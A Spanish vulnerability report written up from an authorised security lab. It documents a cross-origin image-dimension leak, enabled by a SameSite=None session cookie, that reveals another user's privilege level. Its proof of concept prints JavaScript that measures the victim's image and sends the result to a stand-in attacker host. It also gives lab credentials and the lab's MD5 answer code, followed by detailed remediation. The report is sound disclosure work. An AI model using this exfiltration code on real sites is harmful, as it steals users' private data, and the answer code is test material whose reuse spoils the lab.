🔒 CONFIDENCIAL

Reporte de Vulnerabilidad

Fuga de información cross-origin: lectura de dimensiones de imagen (nivel de privilegio) de otro usuario vía CSRF

ID del Ticket	**VULN-2026-016**
Activo evaluado	**Aplicación web «Imagen Importante» (Lab Imagen Importante)**
Severidad	**MEDIA** **CVSS v3.1 6.5**
Tipo	**Cross-Site Info Leak (image size) / CSRF — CWE-200 / CWE-352 / CWE-1385**
Cliente	**Software Seguro — Laboratorio Imagen Importante**
Analista	**J. M. F. · jmf01111974@gmail.com**
Fecha del reporte	**10 de noviembre de 2026**
Versión	**1.0**

Contenido

1. Resumen Ejecutivo pág. 2
2. Detalles Técnicos pág. 2
3. Métricas CVSS pág. 4
4. Prueba de Concepto (PoC) pág. 5
5. Recomendaciones de Remediación pág. 7
6. Referencias e Historial pág. 8

Este documento contiene información sensible sobre vulnerabilidades de seguridad. Su distribución está restringida al personal autorizado del cliente. Las pruebas se realizaron sobre un entorno de laboratorio con autorización explícita.

1. Resumen Ejecutivo

> Audiencia: dirección y responsables de negocio. Redactado sin tecnicismos.

¿Qué encontramos?

En esta aplicación, un dato sensible (el **nivel de privilegio** de cada usuario) queda determinado por el **tamaño de su imagen de perfil**. Encontramos que ese tamaño se puede **averiguar desde afuera**: preparando una página propia y logrando que la víctima la abra, el navegador de la víctima carga su propia imagen y nuestra página **mide sus dimensiones** —aunque no pueda ver la imagen en sí— y nos las envía. Así obtuvimos el nivel del usuario **pepe** sin tener acceso a su cuenta.

¿Por qué importa para el negocio?

Es una **fuga de información entre usuarios**: un atributo privado de la cuenta de alguien (aquí, su nivel) queda expuesto a un tercero. El mecanismo aprovecha que los navegadores **permiten medir el tamaño de una imagen de otro sitio** aunque no dejen ver su contenido, combinado con que la aplicación envía la sesión del usuario en pedidos que provienen de **otros sitios** (configuración CSRF-permisiva). En un sistema real, filtrar atributos privados de otros usuarios erosiona la privacidad, puede revelar información de negocio y abre la puerta a ataques dirigidos.

¿Qué tan grave es?

Severidad MEDIA — CVSS 6.5. La explotación requiere que la víctima abra una página preparada, pero es sencilla y no necesita credenciales de la víctima. Durante la prueba se midió la imagen de **pepe** (2180 × 2280 px) y se obtuvo su nivel (**4.970.400**), cumpliendo el objetivo del laboratorio.

¿Qué hay que hacer?

No basar un dato de seguridad en una propiedad observable desde afuera (las dimensiones de una imagen). Además, **restringir el acceso cross-origin a los recursos sensibles** (cabeceras CORP) y evitar enviar la sesión en pedidos de terceros (cookies `SameSite=Lax/Strict` en vez de `None`).

Riesgo	Probabilidad	Impacto	Urgencia de acción
Exposición de un atributo privado (nivel de privilegio) de otros usuarios por fuga cross-origin de dimensiones de imagen	Media	Medio	Alta

2. Detalles Técnicos

> Audiencia: equipo de desarrollo y administradores de la plataforma.

2.1 Descripción de la vulnerabilidad

La aplicación sirve la imagen de perfil del usuario autenticado en el endpoint `GET /profile-pic` (según la cookie de sesión), y define el **nivel de privilegio** como el **área en píxeles** de esa imagen (`ancho × alto`). Confluyen dos condiciones que permiten a un tercero obtener ese nivel sin autenticarse como la víctima:

a) `PRIMARIO` **Fuga de dimensiones cross-origin.** El modelo de seguridad del navegador **no impide leer** `naturalWidth` / `naturalHeight` de una imagen cargada desde otro origen (CORS solo bloquea leer los *píxeles* vía

canvas, no las dimensiones). Una página del atacante puede cargar la imagen de la víctima en un `<img>` y medir su tamaño, derivando el nivel.

b) CONTRIBUYENTE **Sesión enviada en contexto de terceros (CSRF-permisivo).** La cookie de sesión está marcada `SameSite=None`, por lo que el navegador la envía en la carga de la imagen aunque la petición provenga de **otro sitio**. Así, al cargar `/profile-pic` desde la página del atacante en el navegador de la víctima, el servidor devuelve **la imagen de la víctima**, y el atacante mide **su** nivel. Sin `SameSite=None`, el endpoint devolvería un redirect a login y la fuga no sería posible.

El endpoint, además, **no protege el recurso con una política cross-origin** (no se observó `Cross-Origin-Resource-Policy`), por lo que la imagen es embebible por cualquier origen.

2.2 Flujo del ataque

- El atacante publica una página propia que carga `/profile-pic` del sitio víctima en un `<img>` y, en el `onload`, calcula `naturalWidth × naturalHeight`.
- Exfiltra ese número hacia un servidor del atacante (petición con el valor en la query).
- Mediante la ingeniería social del laboratorio, fuerza a `pepe` a ingresar al sitio (queda su sesión) y a abrir la página del atacante en otra pestaña.
- En el navegador de `pepe`, la imagen se carga con su sesión (`SameSite=None`); el atacante obtiene las dimensiones de **su** imagen y, por tanto, su nivel.

2.3 Clasificación

Categoría	Referencia
Tipo (CWE)	CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor · CWE-352 — Cross-Site Request Forgery · CWE-1385 — Missing Origin Validation in WebSockets/Cross-Origin Resource · CWE-668 — Exposure of Resource to Wrong Sphere
Clase de ataque	Cross-site leak (XS-Leak) por dimensiones de imagen; sesión enviada en contexto de terceros
OWASP Top 10 (2021)	A01:2021 — Broken Access Control · A05:2021 — Security Misconfiguration (cookie SameSite / falta de CORP)
CVE	No aplica (defecto de diseño/configuración de la aplicación, no de un componente de terceros)

2.4 Activos y alcance afectado

Elemento	Detalle
Aplicación	«Imagen Importante» (Lab Imagen Importante)
Host	`chl-<instancia>-imagen-importante.softwareseguro.com.ar` (el subdominio se asigna por instancia/sesión)
Endpoint implicado	`GET /profile-pic` (sirve la imagen del usuario de la sesión)
Dato filtrado	Dimensiones de la imagen de perfil → **nivel de privilegio** del usuario (atributo privado)
Configuración relevante	Cookie de sesión `SameSite=None`; sin `Cross-Origin-Resource-Policy` en la imagen

Alcance	Cualquier usuario cuya imagen pueda cargarse por sesión (cruce de información entre usuarios)

2.5 Causa raíz

Convergen un **defecto de diseño** y uno de **configuración**. Por diseño, un dato de seguridad (el nivel) se hace **derivable de una propiedad observable** de un recurso (el tamaño de la imagen), que el navegador permite medir cross-origin. Por configuración, la sesión se envía en contexto de terceros (`SameSite=None`) y el recurso sensible no declara una política de aislamiento cross-origin (`CORP`), de modo que la imagen de la víctima se carga con su sesión desde un sitio atacante. El resultado es una fuga de información entre usuarios.

3. Métricas CVSS

Puntuación objetiva y reproducible del riesgo técnico, según CVSS v3.1.

CVSS Base Score	Severidad	Vector
6.5	MEDIA	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N`

Desglose del vector (métricas base)

Métrica	Valor	Justificación
Attack Vector (AV)	**Network (N)**	Se explota de forma remota a través de Internet (HTTP/HTTPS).
Attack Complexity (AC)	**Low (L)**	No requiere condiciones especiales: una página que mide una imagen; la cookie viaja por `SameSite=None`.
Privileges Required (PR)	**None (N)**	No se requieren credenciales de la víctima; alcanza con que abra la página preparada.
User Interaction (UI)	**Required (R)**	La víctima debe abrir el sitio del atacante.
Scope (S)	**Changed (C)**	Se obtiene información de otro usuario: el impacto cruza la frontera de autoridad de seguridad.
Confidentiality (C)	**Low (L)**	Se expone un atributo privado acotado (el nivel/dimensiones), no datos masivos.
Integrity (I)	**None (N)**	No se modifican datos.
Availability (A)	**None (N)**	No afecta la disponibilidad.

Nota de criterio: la confidencialidad se valora **Low** porque lo filtrado es un atributo acotado (el nivel). Si el mismo patrón permitiera inferir datos más sensibles o de muchos usuarios de forma automatizada, el impacto ascendería. El `Scope: Changed` refleja que la información pertenece a otro usuario distinto del atacante.

Verificable en la calculadora oficial: https://www.first.org/cvss/calculator/3.1

4. Prueba de Concepto (PoC)

Reproducción paso a paso. Cualquier técnico con una cuenta del laboratorio y un host propio puede replicar el hallazgo.

4.1 Requisitos previos

- Cuenta del laboratorio: usuario `hacklab` / clave `hacklab2025`.
- Un host propio que sirva una página HTML accesible por HTTPS y muestre los pedidos recibidos (p. ej. un servidor local expuesto por un túnel).
- El mecanismo del laboratorio para forzar el ingreso de `pepe` y abrir el sitio del atacante (ingeniería social provista; no es parte de la vulnerabilidad evaluada).

4.2 Pasos de reproducción

Paso 1 — Confirmar el endpoint y la cookie. Verificar que `/profile-pic` sirve la imagen del usuario de la sesión y que la cookie es `SameSite=None`.

```
curl -sI "https://chl-<instancia>-imagen-importante.softwareseguro.com.ar/profile-pic"
# Sin cookie -> 302 a /login. Con sesión -> la imagen del usuario.
# Set-Cookie: session=...; Secure; HttpOnly; SameSite=None   <- clave: viaja cross-site
```

Evidencia 1 — La cookie `SameSite=None` permite que la carga cross-site de la imagen lleve la sesión de la víctima.

Paso 2 — Página del atacante (`leak.html`). Carga la imagen cross-origin, mide sus dimensiones y exfiltra el nivel.

```
<script>
var IMG   = "https://chl-<instancia>-imagen-importante.softwareseguro.com.ar/profile-pic";
var EXFIL = "https://host-atacante/leak";

var img = new Image();
img.onload = function () {
  var w = img.naturalWidth, h = img.naturalHeight, level = w * h;   // dimensiones legibles cross-origin
  new Image().src = EXFIL + "?w=" + w + "&h=" + h + "&level=" + level;
};
img.onerror = function () { new Image().src = EXFIL + "?error=1"; };
img.src = IMG + "?t=" + Date.now();   // rompe caché
</script>
```

Evidencia 2 — En una prueba con la propia cuenta, la página reporta `w=1024 h=1024 level=1048576`: la medición cross-origin funciona.

Paso 3 — Forzar el ingreso de la víctima. Con la funcionalidad del laboratorio: indicar el **dominio del desafío** (sin path) y, como "otro sitio", la URL del `leak.html` del atacante.

Paso 4 — Captura del nivel de la víctima. El navegador de `pepe`, con su sesión, carga su imagen; el servidor del atacante recibe sus dimensiones.

```
# En el servidor del atacante se registra:
GET /leak?w=2180&h=2280&level=4970400
# Nivel de pepe = 2180 × 2280 = 4.970.400
```

Evidencia 3 — Se obtiene el nivel de `pepe` (4.970.400) sin acceder a su cuenta.

Paso 5 — Resultado final. El laboratorio pide el **MD5 del nivel**.

```
printf "%s" "4970400" | md5sum
# -> 3c306e399cc344151642ef530c9de8d8   (código de verificación del laboratorio)
```

Evidencia 4 — Objetivo cumplido: nivel de pepe = 4.970.400; MD5 = `3c306e399cc344151642ef530c9de8d8`.

> Nota técnica: la medición cross-origin de `naturalWidth` / `naturalHeight` está permitida por el navegador (CORS solo protege la lectura de píxeles). La fuga depende de que la sesión viaje en contexto de terceros (`SameSite=None`) y de que la imagen no declare `Cross-Origin-Resource-Policy`. En la verificación con la propia cuenta puede ser necesario desactivar el bloqueo de cookies de terceros del navegador del analista; el navegador automatizado de la víctima no suele aplicarlo.

4.3 Resultado esperado vs. obtenido

Esperado (sistema seguro)	Obtenido (sistema vulnerable)

El nivel no es derivable de una propiedad observable; el recurso declara `CORP` y la sesión no viaja cross-site: una página externa no puede medir la imagen de la víctima.	La página del atacante mide la imagen de la víctima (cargada con su sesión por `SameSite=None`) y deriva su nivel.

> ⚠ Nota ética: la PoC se ejecutó únicamente sobre el entorno de laboratorio autorizado. No se atacó la funcionalidad de ingeniería social (provista por el laboratorio) ni se accedió a datos fuera del objetivo del desafío.

5. Recomendaciones de Remediación

> Audiencia: equipo de desarrollo que implementará la corrección.

5.1 Solución recomendada (prioritaria)

1) No derivar datos de seguridad de propiedades observables. El nivel de privilegio no debe depender del tamaño (ni de otra característica medible) de un recurso embebible. Almacenar el nivel como un atributo del lado del servidor, desacoplado de la imagen.

2) Aislar el recurso con una política cross-origin. Declarar en la imagen una cabecera que impida su carga por otros orígenes.

```
# Respuesta de /profile-pic
Cross-Origin-Resource-Policy: same-origin
# (y considerar Cross-Origin-Embedder-Policy en las páginas que lo requieran)
```

3) No enviar la sesión en contexto de terceros. Usar `SameSite=Lax` (o `Strict`) salvo que exista una necesidad explícita de contexto cross-site; así, la carga de la imagen desde un sitio atacante no llevará la sesión de la víctima.

```
# VULNERABLE
Set-Cookie: session=...; Secure; HttpOnly; SameSite=None

# CORREGIDO
Set-Cookie: session=...; Secure; HttpOnly; SameSite=Lax
```

5.2 Defensa en profundidad

- **Normalizar las imágenes** a un tamaño fijo al subirlas, de modo que las dimensiones no transporten información.
- **Tokens anti-CSRF** y verificación de origen/referer en acciones y recursos sensibles.
- **Separar recursos por sensibilidad**: servir imágenes privadas desde rutas que exijan verificación de contexto.
- **Monitoreo** de patrones de acceso cross-origin anómalos a recursos de usuario.

5.3 Plan de acción

Acción	Responsable	Prioridad	Plazo	Estado
Desacoplar el nivel de privilegio del tamaño de la imagen (atributo en servidor)	Equipo de desarrollo	Alta	Inmediato	Pendiente
Añadir `Cross-Origin-Resource-Policy: same-origin` a la imagen	Desarrollo / Infraestructura	Alta	24–72 h	Pendiente
Cambiar la cookie de sesión a `SameSite=Lax`	Equipo de desarrollo	Alta	7 días	Pendiente
Normalizar dimensiones de las imágenes de perfil	Equipo de desarrollo	Media	15–30 días	Pendiente
Test de regresión (medición cross-origin = bloqueada) y re-test	QA / Seguridad	Alta	Con el fix	Pendiente

5.4 Verificación (re-test)

Confirmar que, desde una página de otro origen, un `<img>` a `/profile-pic` **no** carga con la sesión de la víctima (la cookie no viaja por `SameSite=Lax`) y/o es rechazado por `CORP`, de modo que no se puedan leer sus dimensiones. Verificar además que el nivel no se puede inferir del tamaño de la imagen. Confirmar que la visualización legítima de la propia imagen sigue funcionando.

> ✔ Criterio de cierre: el ticket se marca como *Cerrado* cuando el re-test confirma que un sitio externo no puede medir la imagen de otro usuario ni derivar su nivel, sin regresiones en la funcionalidad legítima.

6. Referencias e Historial

Referencias

- OWASP Top 10 (2021) — A01 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- OWASP Top 10 (2021) — A05 Security Misconfiguration: https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
- CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor: https://cwe.mitre.org/data/definitions/200.html
- CWE-352 — Cross-Site Request Forgery (CSRF): https://cwe.mitre.org/data/definitions/352.html
- CWE-668 — Exposure of Resource to Wrong Sphere: https://cwe.mitre.org/data/definitions/668.html
- XS-Leaks Wiki — Cross-origin resource size / image leaks: https://xsleaks.dev/
- MDN — Cross-Origin-Resource-Policy (CORP): https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cross-Origin-Resource-Policy
- MDN — SameSite cookies: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite
- CVSS v3.1 Calculator (FIRST): https://www.first.org/cvss/calculator/3.1

Historial de cambios

Versión	Fecha	Autor	Cambio
1.0	2026-11-10	J. M. F.	Creación del reporte: fuga cross-origin de dimensiones de imagen (nivel de privilegio) de otro usuario vía CSRF/SameSite=None.

🔒 Documento confidencial — uso interno / cliente autorizado únicamente. Las pruebas se realizaron en un entorno de laboratorio con autorización explícita.